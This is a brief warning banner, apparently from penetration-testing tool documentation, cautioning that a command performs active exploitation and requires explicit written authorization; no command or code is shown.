**⚠️ FINAL WARNING:** This command executes active exploitation. Ensure you have explicit written authorization, understand the legal implications, and follow all rules of engagement. Unauthorized use is strictly prohibited and illegal.
|